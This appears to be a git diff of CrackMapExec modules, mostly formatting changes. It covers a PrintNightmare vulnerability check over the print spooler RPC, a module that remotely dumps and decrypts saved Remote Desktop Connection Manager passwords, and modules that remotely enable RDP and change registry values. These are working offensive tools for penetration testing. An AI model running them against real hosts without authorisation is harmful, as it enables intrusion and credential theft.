context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
|
||||
context.log.info("[+] Attack worked!")
|
||||
return True
|
||||
else:
|
||||
context.log.debug("Something went wrong, check error status => %s" % str(e))
|
||||
|
||||
@@ -0,0 +1,299 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import sys
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.structure import Structure
|
||||
from impacket.dcerpc.v5 import transport, rprn
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
|
||||
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR
|
||||
from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY
|
||||
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
|
||||
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
}
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Check if vulnerable to printnightmare
|
||||
Module by @mpgn_x64 based on https://github.com/ly4k/PrintNightmare
|
||||
"""
|
||||
|
||||
name = "printnightmare"
|
||||
description = "Check if host vulnerable to printnightmare"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.__string_binding = None
|
||||
self.port = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PORT Port to check (defaults to 445)
|
||||
"""
|
||||
self.port = 445
|
||||
if "PORT" in module_options:
|
||||
self.port = int(module_options["PORT"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
|
||||
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host
|
||||
|
||||
context.log.info("Binding to %s" % (repr(stringbinding)))
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
|
||||
rpctransport.set_credentials(
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
)
|
||||
|
||||
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.port)
|
||||
|
||||
try:
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
# Connect to spoolss named pipe
|
||||
dce.connect()
|
||||
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
|
||||
dce.bind(rprn.MSRPC_UUID_RPRN)
|
||||
except Exception as e:
|
||||
context.log.fail("Failed to bind: %s" % e)
|
||||
sys.exit(1)
|
||||
|
||||
flags = APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | APD_INSTALL_WARNED_DRIVER
|
||||
|
||||
driver_container = DRIVER_CONTAINER()
|
||||
driver_container["Level"] = 2
|
||||
driver_container["DriverInfo"]["tag"] = 2
|
||||
driver_container["DriverInfo"]["Level2"]["cVersion"] = 0
|
||||
driver_container["DriverInfo"]["Level2"]["pName"] = NULL
|
||||
driver_container["DriverInfo"]["Level2"]["pEnvironment"] = NULL
|
||||
driver_container["DriverInfo"]["Level2"]["pDriverPath"] = NULL
|
||||
driver_container["DriverInfo"]["Level2"]["pDataFile"] = NULL
|
||||
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL
|
||||
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL
|
||||
|
||||
try:
|
||||
hRpcAddPrinterDriverEx(
|
||||
dce,
|
||||
pName=NULL,
|
||||
pDriverContainer=driver_container,
|
||||
dwFileCopyFlags=flags,
|
||||
)
|
||||
except DCERPCSessionError as e:
|
||||
# RPC_E_ACCESS_DENIED is returned on patched systems, when
|
||||
# a non-administrative user tries to create a new printer
|
||||
# driver
|
||||
if e.error_code == RPC_E_ACCESS_DENIED:
|
||||
context.log.info("Not vulnerable :'(")
|
||||
return False
|
||||
# If vulnerable, 'ERROR_INVALID_PARAMETER' will be returned
|
||||
if e.error_code == system_errors.ERROR_INVALID_PARAMETER:
|
||||
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
|
||||
return True
|
||||
raise e
|
||||
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
|
||||
return True
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__(self):
|
||||
key = self.error_code
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return "RPRN SessionError: code: 0x%x - %s - %s" % (
|
||||
self.error_code,
|
||||
error_msg_short,
|
||||
error_msg_verbose,
|
||||
)
|
||||
else:
|
||||
return "RPRN SessionError: unknown error code: 0x%x" % self.error_code
|
||||
|
||||
|
||||
################################################################################
|
||||
# CONSTANTS
|
||||
################################################################################
|
||||
# MS-RPRN - 3.1.4.4.8
|
||||
APD_COPY_ALL_FILES = 0x00000004
|
||||
APD_COPY_FROM_DIRECTORY = 0x00000010
|
||||
APD_INSTALL_WARNED_DRIVER = 0x00008000
|
||||
|
||||
# MS-RPRN - 3.1.4.4.7
|
||||
DPD_DELETE_UNUSED_FILES = 0x00000001
|
||||
|
||||
# https://docs.microsoft.com/en-us/windows/win32/com/com-error-codes-3
|
||||
RPC_E_ACCESS_DENIED = 0x8001011B
|
||||
system_errors.ERROR_MESSAGES[RPC_E_ACCESS_DENIED] = (
|
||||
"RPC_E_ACCESS_DENIED",
|
||||
"Access is denied.",
|
||||
)
|
||||
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
# MS-RPRN - 2.2.1.5.1
|
||||
class DRIVER_INFO_1(NDRSTRUCT):
|
||||
structure = (("pName", STRING_HANDLE),)
|
||||
|
||||
|
||||
class PDRIVER_INFO_1(NDRPOINTER):
|
||||
referent = (("Data", DRIVER_INFO_1),)
|
||||
|
||||
|
||||
# MS-RPRN - 2.2.1.5.2
|
||||
class DRIVER_INFO_2(NDRSTRUCT):
|
||||
structure = (
|
||||
("cVersion", DWORD),
|
||||
("pName", LPWSTR),
|
||||
("pEnvironment", LPWSTR),
|
||||
("pDriverPath", LPWSTR),
|
||||
("pDataFile", LPWSTR),
|
||||
("pConfigFile", LPWSTR),
|
||||
)
|
||||
|
||||
|
||||
class PDRIVER_INFO_2(NDRPOINTER):
|
||||
referent = (("Data", DRIVER_INFO_2),)
|
||||
|
||||
|
||||
class DRIVER_INFO_2_BLOB(Structure):
|
||||
structure = (
|
||||
("cVersion", "<L"),
|
||||
("NameOffset", "<L"),
|
||||
("EnvironmentOffset", "<L"),
|
||||
("DriverPathOffset", "<L"),
|
||||
("DataFileOffset", "<L"),
|
||||
("ConfigFileOffset", "<L"),
|
||||
)
|
||||
|
||||
def __init__(self, data=None):
|
||||
Structure.__init__(self, data=data)
|
||||
|
||||
def fromString(self, data, offset=0):
|
||||
Structure.fromString(self, data)
|
||||
|
||||
name = data[self["NameOffset"] + offset :].decode("utf-16-le")
|
||||
name_len = name.find("\0")
|
||||
self["Name"] = checkNullString(name[:name_len])
|
||||
|
||||
self["ConfigFile"] = data[self["ConfigFileOffset"] + offset : self["DataFileOffset"] + offset].decode("utf-16-le")
|
||||
self["DataFile"] = data[self["DataFileOffset"] + offset : self["DriverPathOffset"] + offset].decode("utf-16-le")
|
||||
self["DriverPath"] = data[self["DriverPathOffset"] + offset : self["EnvironmentOffset"] + offset].decode("utf-16-le")
|
||||
self["Environment"] = data[self["EnvironmentOffset"] + offset : self["NameOffset"] + offset].decode("utf-16-le")
|
||||
|
||||
|
||||
class DRIVER_INFO_2_ARRAY(Structure):
|
||||
def __init__(self, data=None, pcReturned=None):
|
||||
Structure.__init__(self, data=data)
|
||||
self["drivers"] = list()
|
||||
remaining = data
|
||||
if data is not None:
|
||||
for _ in range(pcReturned):
|
||||
attr = DRIVER_INFO_2_BLOB(remaining)
|
||||
self["drivers"].append(attr)
|
||||
remaining = remaining[len(attr) :]
|
||||
|
||||
|
||||
class DRIVER_INFO_UNION(NDRUNION):
|
||||
commonHdr = (("tag", ULONG),)
|
||||
union = {1: ("pNotUsed", PDRIVER_INFO_1), 2: ("Level2", PDRIVER_INFO_2)}
|
||||
|
||||
|
||||
# MS-RPRN - 3.1.4.1.8.3
|
||||
class DRIVER_CONTAINER(NDRSTRUCT):
|
||||
structure = (("Level", DWORD), ("DriverInfo", DRIVER_INFO_UNION))
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
# MS-RPRN - 3.1.4.4.2
|
||||
class RpcEnumPrinterDrivers(NDRCALL):
|
||||
opnum = 10
|
||||
structure = (
|
||||
("pName", STRING_HANDLE),
|
||||
("pEnvironment", LPWSTR),
|
||||
("Level", DWORD),
|
||||
("pDrivers", PBYTE_ARRAY),
|
||||
("cbBuf", DWORD),
|
||||
)
|
||||
|
||||
|
||||
class RpcEnumPrinterDriversResponse(NDRCALL):
|
||||
structure = (
|
||||
("pDrivers", PBYTE_ARRAY),
|
||||
("pcbNeeded", DWORD),
|
||||
("pcReturned", DWORD),
|
||||
("ErrorCode", ULONG),
|
||||
)
|
||||
|
||||
|
||||
# MS-RPRN - 3.1.4.4.8
|
||||
class RpcAddPrinterDriverEx(NDRCALL):
|
||||
opnum = 89
|
||||
structure = (
|
||||
("pName", STRING_HANDLE),
|
||||
("pDriverContainer", DRIVER_CONTAINER),
|
||||
("dwFileCopyFlags", DWORD),
|
||||
)
|
||||
|
||||
|
||||
class RpcAddPrinterDriverExResponse(NDRCALL):
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
# MS-RPRN - 3.1.4.4.7
|
||||
class RpcDeletePrinterDriverEx(NDRCALL):
|
||||
opnum = 84
|
||||
structure = (
|
||||
("pName", STRING_HANDLE),
|
||||
("pEnvironment", WSTR),
|
||||
("pDriverName", WSTR),
|
||||
("dwDeleteFlag", DWORD),
|
||||
("dwVersionNum", DWORD),
|
||||
)
|
||||
|
||||
|
||||
class RpcDeletePrinterDriverExResponse(NDRCALL):
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
################################################################################
|
||||
# OPNUMs and their corresponding structures
|
||||
################################################################################
|
||||
OPNUMS = {
|
||||
10: (RpcEnumPrinterDrivers, RpcEnumPrinterDriversResponse),
|
||||
84: (RpcDeletePrinterDriverEx, RpcDeletePrinterDriverExResponse),
|
||||
89: (RpcAddPrinterDriverEx, RpcAddPrinterDriverExResponse),
|
||||
}
|
||||
|
||||
|
||||
################################################################################
|
||||
# HELPER FUNCTIONS
|
||||
################################################################################
|
||||
def hRpcAddPrinterDriverEx(dce, pName, pDriverContainer, dwFileCopyFlags):
|
||||
request = RpcAddPrinterDriverEx()
|
||||
|
||||
request["pName"] = checkNullString(pName)
|
||||
request["pDriverContainer"] = pDriverContainer
|
||||
request["dwFileCopyFlags"] = dwFileCopyFlags
|
||||
|
||||
return dce.request(request)
|
||||
+66
-51
File diff suppressed because one or more lines are too long
+79
-23
@@ -9,11 +9,12 @@ from dploot.lib.smb import DPLootSMBConnection
|
||||
|
||||
from cme.helpers.logger import highlight
|
||||
|
||||
|
||||
class CMEModule:
|
||||
name = "rdcman"
|
||||
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe= True
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -25,12 +26,11 @@ class CMEModule:
|
||||
self.masterkeys = None
|
||||
|
||||
if "PVK" in module_options:
|
||||
self.pvkbytes = open(module_options["PVK"], 'rb').read()
|
||||
self.pvkbytes = open(module_options["PVK"], "rb").read()
|
||||
|
||||
if "MKFILE" in module_options:
|
||||
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
|
||||
self.pvkbytes = open(module_options["MKFILE"], 'rb').read()
|
||||
|
||||
self.pvkbytes = open(module_options["MKFILE"], "rb").read()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
@@ -86,22 +86,28 @@ class CMEModule:
|
||||
conn = None
|
||||
|
||||
try:
|
||||
conn = DPLootSMBConnection(target)
|
||||
conn = DPLootSMBConnection(target)
|
||||
conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug("Could not upgrade connection: {}".format(e))
|
||||
return
|
||||
|
||||
plaintexts = {username:password for _, _, username, password, _,_ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username:nt.split(':')[1] if ':' in nt else nt for _, _, username, nt, _,_ in context.db.get_credentials(cred_type="hash")}
|
||||
if password != '':
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
if password != "":
|
||||
plaintexts[username] = password
|
||||
if nthash != '':
|
||||
if nthash != "":
|
||||
nthashes[username] = nthash
|
||||
|
||||
if self.masterkeys is None:
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, pvkbytes=self.pvkbytes, passwords=plaintexts, nthashes=nthashes)
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
)
|
||||
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug("Could not get masterkeys: {}".format(e))
|
||||
@@ -119,21 +125,71 @@ class CMEModule:
|
||||
if rdcman_file is None:
|
||||
continue
|
||||
for rdg_cred in rdcman_file.rdg_creds:
|
||||
if rdg_cred.type == 'cred':
|
||||
context.log.highlight("[%s][%s] %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
|
||||
elif rdg_cred.type == 'logon':
|
||||
context.log.highlight("[%s][%s] %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
|
||||
elif rdg_cred.type == 'server':
|
||||
context.log.highlight("[%s][%s] %s - %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
|
||||
if rdg_cred.type == "cred":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s:%s"
|
||||
% (
|
||||
rdcman_file.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
elif rdg_cred.type == "logon":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s:%s"
|
||||
% (
|
||||
rdcman_file.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
elif rdg_cred.type == "server":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s - %s:%s"
|
||||
% (
|
||||
rdcman_file.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.server_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
for rdgfile in rdgfiles:
|
||||
if rdgfile is None:
|
||||
continue
|
||||
for rdg_cred in rdgfile.rdg_creds:
|
||||
if rdg_cred.type == 'cred':
|
||||
context.log.highlight("[%s][%s] %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
|
||||
elif rdg_cred.type == 'logon':
|
||||
context.log.highlight("[%s][%s] %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
|
||||
elif rdg_cred.type == 'server':
|
||||
context.log.highlight("[%s][%s] %s - %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
|
||||
if rdg_cred.type == "cred":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s:%s"
|
||||
% (
|
||||
rdgfile.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
elif rdg_cred.type == "logon":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s:%s"
|
||||
% (
|
||||
rdgfile.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
elif rdg_cred.type == "server":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s - %s:%s"
|
||||
% (
|
||||
rdgfile.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.server_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
context.log.debug("Could not loot RDCMan secrets: {}".format(e))
|
||||
context.log.debug("Could not loot RDCMan secrets: {}".format(e))
|
||||
|
||||
+39
-19
@@ -23,20 +23,20 @@ class CMEModule:
|
||||
"""
|
||||
ACTION Enable/Disable RDP (choices: enable, disable)
|
||||
"""
|
||||
if not 'ACTION' in module_options:
|
||||
context.log.fail('ACTION option not specified!')
|
||||
if not "ACTION" in module_options:
|
||||
context.log.fail("ACTION option not specified!")
|
||||
exit(1)
|
||||
|
||||
if module_options['ACTION'].lower() not in ['enable', 'disable']:
|
||||
context.log.fail('Invalid value for ACTION option!')
|
||||
if module_options["ACTION"].lower() not in ["enable", "disable"]:
|
||||
context.log.fail("Invalid value for ACTION option!")
|
||||
exit(1)
|
||||
|
||||
self.action = module_options['ACTION'].lower()
|
||||
self.action = module_options["ACTION"].lower()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.action == 'enable':
|
||||
if self.action == "enable":
|
||||
self.rdp_enable(context, connection.conn)
|
||||
elif self.action == 'disable':
|
||||
elif self.action == "disable":
|
||||
self.rdp_disable(context, connection.conn)
|
||||
|
||||
def rdp_enable(self, context, smbconnection):
|
||||
@@ -45,17 +45,27 @@ class CMEModule:
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server')
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 0)
|
||||
rrp.hBaseRegSetValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"fDenyTSConnections\x00",
|
||||
rrp.REG_DWORD,
|
||||
0,
|
||||
)
|
||||
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00')
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00")
|
||||
|
||||
if int(data) == 0:
|
||||
context.log.success('RDP enabled successfully')
|
||||
context.log.success("RDP enabled successfully")
|
||||
|
||||
try:
|
||||
remoteOps.finish()
|
||||
@@ -68,17 +78,27 @@ class CMEModule:
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans['phKey']
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server')
|
||||
keyHandle = ans['phkResult']
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 1)
|
||||
rrp.hBaseRegSetValue(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
keyHandle,
|
||||
"fDenyTSConnections\x00",
|
||||
rrp.REG_DWORD,
|
||||
1,
|
||||
)
|
||||
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00')
|
||||
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00")
|
||||
|
||||
if int(data) == 1:
|
||||
context.log.success('RDP disabled successfully')
|
||||
context.log.success("RDP disabled successfully")
|
||||
|
||||
try:
|
||||
remoteOps.finish()
|
||||
|
||||
+39
-65
@@ -7,9 +7,9 @@ from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
|
||||
class CMEModule:
|
||||
name = 'reg-query'
|
||||
description = 'Performs a registry query on the machine'
|
||||
supported_protocols = ['smb']
|
||||
name = "reg-query"
|
||||
description = "Performs a registry query on the machine"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
@@ -39,29 +39,29 @@ class CMEModule:
|
||||
self.type = None
|
||||
self.delete = False
|
||||
|
||||
if module_options and 'PATH' in module_options:
|
||||
self.path = module_options['PATH']
|
||||
if module_options and "PATH" in module_options:
|
||||
self.path = module_options["PATH"]
|
||||
|
||||
if module_options and 'KEY' in module_options:
|
||||
self.key = module_options['KEY']
|
||||
if module_options and "KEY" in module_options:
|
||||
self.key = module_options["KEY"]
|
||||
|
||||
if 'VALUE' in module_options:
|
||||
self.value = module_options['VALUE']
|
||||
if 'TYPE' in module_options:
|
||||
if "VALUE" in module_options:
|
||||
self.value = module_options["VALUE"]
|
||||
if "TYPE" in module_options:
|
||||
type_dict = {
|
||||
'REG_NONE': rrp.REG_NONE,
|
||||
'REG_SZ': rrp.REG_SZ,
|
||||
'REG_EXPAND_SZ': rrp.REG_EXPAND_SZ,
|
||||
'REG_BINARY': rrp.REG_BINARY,
|
||||
'REG_DWORD': rrp.REG_DWORD,
|
||||
'REG_DWORD_BIG_ENDIAN': rrp.REG_DWORD_BIG_ENDIAN,
|
||||
'REG_LINK': rrp.REG_LINK,
|
||||
'REG_MULTI_SZ': rrp.REG_MULTI_SZ,
|
||||
'REG_QWORD': rrp.REG_QWORD
|
||||
"REG_NONE": rrp.REG_NONE,
|
||||
"REG_SZ": rrp.REG_SZ,
|
||||
"REG_EXPAND_SZ": rrp.REG_EXPAND_SZ,
|
||||
"REG_BINARY": rrp.REG_BINARY,
|
||||
"REG_DWORD": rrp.REG_DWORD,
|
||||
"REG_DWORD_BIG_ENDIAN": rrp.REG_DWORD_BIG_ENDIAN,
|
||||
"REG_LINK": rrp.REG_LINK,
|
||||
"REG_MULTI_SZ": rrp.REG_MULTI_SZ,
|
||||
"REG_QWORD": rrp.REG_QWORD,
|
||||
}
|
||||
self.type = module_options['TYPE']
|
||||
self.type = module_options["TYPE"]
|
||||
if "WORD" in self.type:
|
||||
try :
|
||||
try:
|
||||
self.value = int(self.value)
|
||||
except:
|
||||
context.log.fail(f"Invalid registry value type specified: {self.value}")
|
||||
@@ -73,8 +73,8 @@ class CMEModule:
|
||||
return
|
||||
else:
|
||||
self.type = 1
|
||||
|
||||
if module_options and 'DELETE' in module_options and module_options['DELETE'].lower() == 'true':
|
||||
|
||||
if module_options and "DELETE" in module_options and module_options["DELETE"].lower() == "true":
|
||||
self.delete = True
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
@@ -88,62 +88,43 @@ class CMEModule:
|
||||
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
|
||||
try:
|
||||
if "HKLM" in self.path or "HKEY_LOCAL_MACHINE" in self.path:
|
||||
self.path = self.path.replace('HKLM\\', '')
|
||||
self.path = self.path.replace("HKLM\\", "")
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
elif "HKCU" in self.path or "HKEY_CURRENT_USER" in self.path:
|
||||
self.path = self.path.replace('HKCU\\', '')
|
||||
self.path = self.path.replace("HKCU\\", "")
|
||||
ans = rrp.hOpenCurrentUser(remote_ops._RemoteOperations__rrp)
|
||||
elif "HKCR" in self.path or "HKEY_CLASSES_ROOT" in self.path:
|
||||
self.path = self.path.replace('HKCR\\', '')
|
||||
self.path = self.path.replace("HKCR\\", "")
|
||||
ans = rrp.hOpenClassesRoot(remote_ops._RemoteOperations__rrp)
|
||||
else:
|
||||
self.context.log.fail(f"Unsupported registry hive specified in path: {self.path}")
|
||||
return
|
||||
|
||||
reg_handle = ans['phKey']
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
self.path
|
||||
)
|
||||
key_handle = ans['phkResult']
|
||||
|
||||
reg_handle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, self.path)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
if self.delete:
|
||||
# Delete registry
|
||||
try:
|
||||
# Check if value exists
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
self.key
|
||||
)
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
|
||||
except:
|
||||
self.context.log.fail(f"Registry key {self.key} does not exist")
|
||||
return
|
||||
# Delete value
|
||||
rrp.hBaseRegDeleteValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
self.key
|
||||
)
|
||||
rrp.hBaseRegDeleteValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
|
||||
self.context.log.success(f"Registry key {self.key} has been deleted successfully")
|
||||
rrp.hBaseRegCloseKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle
|
||||
)
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
|
||||
if self.value is not None:
|
||||
# Check if value exists
|
||||
try:
|
||||
# Check if value exists
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
self.key
|
||||
)
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
|
||||
self.context.log.highlight(f"Key {self.key} exists with value {reg_value}")
|
||||
# Modification
|
||||
rrp.hBaseRegSetValue(
|
||||
@@ -151,7 +132,7 @@ class CMEModule:
|
||||
key_handle,
|
||||
self.key,
|
||||
self.type,
|
||||
self.value
|
||||
self.value,
|
||||
)
|
||||
self.context.log.success(f"Key {self.key} has been modified to {self.value}")
|
||||
except:
|
||||
@@ -160,21 +141,14 @@ class CMEModule:
|
||||
key_handle,
|
||||
self.key,
|
||||
self.type,
|
||||
self.value
|
||||
self.value,
|
||||
)
|
||||
self.context.log.success(f"New Key {self.key} has been added with value {self.value}")
|
||||
rrp.hBaseRegCloseKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle
|
||||
)
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
else:
|
||||
# Query
|
||||
try:
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
self.key
|
||||
)
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
|
||||
self.context.log.highlight(f"{self.key}: {reg_value}")
|
||||
except:
|
||||
if self.delete:
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
class CMEModule:
|
||||
name = "runasppl"
|
||||
description = "Check if the registry value RunAsPPL is set or not"
|
||||
|
||||
+160
-134
@@ -2,6 +2,7 @@
|
||||
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
|
||||
# module by @mpgn_x64
|
||||
|
||||
from os.path import expanduser
|
||||
import codecs
|
||||
import socket
|
||||
from builtins import str
|
||||
@@ -15,118 +16,120 @@ from ldap3 import LEVEL
|
||||
|
||||
|
||||
def get_dns_zones(connection, root, debug=False):
|
||||
